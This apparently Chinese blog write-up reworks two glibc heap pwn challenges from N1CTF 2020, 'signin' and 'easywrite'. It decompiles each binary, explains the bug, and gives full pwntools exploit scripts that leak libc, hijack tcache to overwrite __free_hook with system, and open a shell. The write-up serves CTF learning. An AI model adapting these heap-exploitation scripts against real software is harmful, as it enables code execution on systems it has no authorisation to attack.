zoukankan      html  css  js  c++  java
  • N1CTF 2020 部分pwn 复现

    N1CTF当时没有去打(老懒狗了),是赛后进行的复现,借鉴了官方的wp,在本地对两道glibc环境下的pwn题进行了复现

    signin

    本地是在2.27的环境下进行的复现

    在这之前,先介绍一下vector

    Vector

    vector 是C++ stl的一个容器,实现的功能是动态数组。

    值得关注的是vector的内存分配规则

    但vector的内存容量不够时,会申请一块新的内存(大小是原内存的2倍),然后把数据复制过去,再free掉原来的内存

    • vector的内存只会增加,不会减少
    • clear()会清空元素,但是不会释放内存,vector占用的内存只会在程序结束后被释放

    程序实现了vector的功能

    有两个vector可供使用

    vector_1和vector_2都是管理vector的结构体(struct_vector)

    vector: begin_ptr vector+8:end_ptr vector+16:memory_end

    add:end_ptr+8 and read_number

    __int64 __fastcall new_0(__int64 a1, __int64 a2)
    {
      __int64 result; // rax
      __int64 v3; // rax
    
      if ( *(a1 + 8) == *(a1 + 16) )                // memory is full
      {
        v3 = get_end_ptr(a1);                       // v3 = *(a1 + 8)
        result = realloc_vector(a1, v3, a2);        // 
      }
      else                                          // memory is enough
      {
        vector_push(a1, *(a1 + 8), a2);             // *(a1+8) = a2
        result = a1;
        *(a1 + 8) += 8LL;                           // end ptr += 8
      }
      return result;
    }
    

    delete:end_ptr-=8

    unsigned __int64 delete()
    {
      int v1; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
      std::istream::operator>>(&std::cin, &v1);
      if ( v1 == 1 )
        delete_0(&vector_1);
      if ( v1 == 2 )
        delete_0(&vector_2);
      return __readfsqword(0x28u) ^ v2;
    }
    

    show:

    打印end_ptr-8 地址上的内容

    unsigned __int64 show()
    {
      _QWORD *v0; // rax
      __int64 v1; // rax
      _QWORD *v2; // rax
      __int64 v3; // rax
      int v5; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v6; // [rsp+8h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
      std::istream::operator>>(&std::cin, &v5);
      if ( v5 == 1 )
      {
        v0 = show_0(&vector_1);               // return *end_ptr-8
        v1 = std::ostream::operator<<(&std::cout, *v0);
        std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
      }
      if ( v5 == 2 )
      {
        v2 = show_0(&vector_2);
        v3 = std::ostream::operator<<(&std::cout, *v2);
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      }
      return __readfsqword(0x28u) ^ v6;
    }
    

    漏洞点

    delete的时候,没有对end_ptr进行检查

    在进行delete的时候,end_ptr-=8,我们可以通过delete去控制end_ptr的内容

    利用思路

    根据vector的扩容规则,在扩容时会申请一个大小为原来2倍的内存,并把原来的内存free掉。

    这样一来,即使我们没有free这个选项,可以通过不停的add去得到一个unsorted bin

    (libc-2.27的环境下有tcache机制,可能需要add的次数会多一些)

    然后控制end_ptr指向unsorted bin的FD/BK,再用show去leak libc

    此时继续free,控制end_ptr指向tcatche的fd,劫持tctache的FD,实现任意地址写,直接打free_hook(one_gadget要用realloc抬栈)

    Expliot

    from pwn import *
    p = process('./signin')
    #context.log_level = "debug"
    elf = ELF('./signin')
    libc = elf.libc
    def menu(idx):
        p.sendlineafter(">>",str(idx))
    def add(idx,num):
        menu(1)
        p.sendlineafter("Index:",str(idx))
        p.sendlineafter("Number:",str(num))
    def free(idx):
        menu(2)
        p.sendlineafter("Index:",str(idx))
    def show(idx):
        menu(3)
        p.sendlineafter("Index:",str(idx))
    
    for i in range(260):
        add(1,1)
    for i in range(516):
        free(1)
    show(1)
    gdb.attach(p)
    libc_base = int(p.recvuntil('
    ')[:-1])-96-0x10-libc.sym['__malloc_hook']
    log.success('libc_base:'+hex(libc_base))
    free_hook = libc.sym['__free_hook']+libc_base
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    system = libc_base+libc.sym['system']
    one_gadget = libc_base + 0x10a45c
    for i in range(270):
        free(1)
    add(1,free_hook-8)
    #gdb.attach(p)
    add(2,u64('/bin/shx00'))
    add(2,system)
    #gdb.attach(p)
    p.interactive()
    

    easywrite

    调试环境 ==> libc-2.31.so

    这个题目将符号表删除了,需要用gdb进行恢复(第一次恢复符号表)

    在IDA中查看.got

    .got:0000000000003F80 qword_3F80      dq 0                    ; DATA XREF: sub_1020↑r
    .got:0000000000003F88 qword_3F88      dq 0                    ; DATA XREF: sub_1020+6↑r
    .got:0000000000003F90 off_3F90        dq offset sub_1030      ; DATA XREF: sub_10D0+4↑r
    .got:0000000000003F98 off_3F98        dq offset sub_1040      ; DATA XREF: sub_10E0+4↑r
    .got:0000000000003FA0 off_3FA0        dq offset sub_1050      ; DATA XREF: sub_10F0+4↑r
    .got:0000000000003FA8 off_3FA8        dq offset sub_1060      ; DATA XREF: sub_1100+4↑r
    .got:0000000000003FB0 off_3FB0        dq offset sub_1070      ; DATA XREF: sub_1110+4↑r
    .got:0000000000003FB8 off_3FB8        dq offset sub_1080      ; DATA XREF: sub_1120+4↑r
    .got:0000000000003FC0 off_3FC0        dq offset sub_1090      ; DATA XREF: sub_1130+4↑r
    .got:0000000000003FC8 off_3FC8        dq offset sub_10A0      ; DATA XREF: sub_1140+4↑r
    

    在gdb中查看got表,里面储存了函数的真实地址,一个个去看是什么函数就行了

    恢复符号表之后查看IDA

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      __int64 v3; // rbp
      __int64 v4; // rdx
      __int64 v5; // rdx
      _QWORD *address; // [rsp-28h] [rbp-28h]
      void *message; // [rsp-20h] [rbp-20h]
      void *message2; // [rsp-18h] [rbp-18h]
      unsigned __int64 v10; // [rsp-10h] [rbp-10h]
      __int64 v11; // [rsp-8h] [rbp-8h]
    
      __asm { endbr64 }
      v11 = v3;
      v10 = __readfsqword(0x28u);
      setbuf_0(stdout, 0LL, envp);
      setbuf_0(stdin, 0LL, v4);
      setbuf_0(stderr, 0LL, v5);
      alarm_2(0x3Cu);
      sleep_2(2u);
      printf_0("Here is your gift:%p
    ", &setbuf);  // leak libc
      message = malloc_2(768uLL);
      write_0(1, "Input your message:", 19uLL);
      read_0(0, message, 767uLL);
      write_0(1, "Where to write?:", 16uLL);
      read_0(0, &address, 8uLL);
      *address = message;
      message2 = malloc_2(0x30uLL);
      write_0(1, "Any last message?:", 18uLL);
      read_0(0, message2, 47uLL);                   // read 47 bytes
      free_1(message2);
      return 0;
    }
    

    程序的逻辑大概是能自由编辑一个0x300的堆块

    然后把这个堆块的地址写到任意地址上

    然后就是申请一个0x30的堆块,然后free掉

    利用思路

    一开始泄露了libc_base

    这个堆块的大小与tcache的大小相似,可以考虑伪造tcache(学到了新姿势)

    于是在message这个chunk上布置我们的信息

    在counts数组上将调用数记为1,在tcache bins 的链表上布置任意写的地址

    于是我们的message可以这样构造

    message =  'x00'*4+'x01'
    message = message.ljust(144,'x00')
    message += p64(libc_base + free_hook-0x10)
    

    最后就是找到一个储存tcache地址的指针,将其覆盖为我们的fake_tcache

    gef➤  grep 0x5583411ea010# 0x5583411ea010 为tcache结构体的地址
    [+] Searching 'x10xa0x1ex41x83x55' in memory
    [+] In (0x7f7088877000-0x7f708887d000), permission=rw- #可读可写
      0x7f708887c530 - 0x7f708887c548  →   "x10xa0x1ex41x83x55[...]" 
    

    确定地址在0x7f708887c530处,减去libc_base得到偏移 在本机的环境上偏移为0x1f3530

    然后message2打free_hook,getshell

    Expliot

    from pwn import *
    elf = ELF('./easywrite')
    libc =elf.libc
    p = process('./easywrite')
    p.recvuntil("Here is your gift:")
    libc_base = int(p.recvuntil('
    ')[:-1], 16) - libc.sym["setbuf"]
    log.info('libc:'+hex(libc_base))
    ptr = libc_base + 0x1f3530
    message = 'x00'*4+'x01'
    message = message.ljust(0x12*8,'x00')
    message += p64(libc_base + libc.sym["__free_hook"] - 0x8)
    p.recvuntil('Input your message:')
    p.sendline(message)
    p.recvuntil('Where to write?:')
    p.send(p64(ptr))
    p.recvuntil('message?')
    p.sendline('/bin/shx00'+p64(libc_base + libc.sym['system']))
    p.interactive()
    
  • 相关阅读:
    request.getParameter() 、 request.getInputStream()和request.getReader() 使用体会
    HTTP之Content-Length
    关于spring3中No Session found for current thread!and Transaction的配置和管理(转)
    Java数据类型和MySql数据类型对应一览
    Spring MVC 解读——View,ViewResolver(转)
    LeetCode 441. Arranging Coins
    LeetCode 415. Add Strings
    LeetCode 400. Nth Digit
    LeetCode 367. Valid Perfect Square
    LeetCode 326. Power of Three
  • 原文地址:https://www.cnblogs.com/z2yh/p/13910994.html
Copyright © 2011-2022 走看看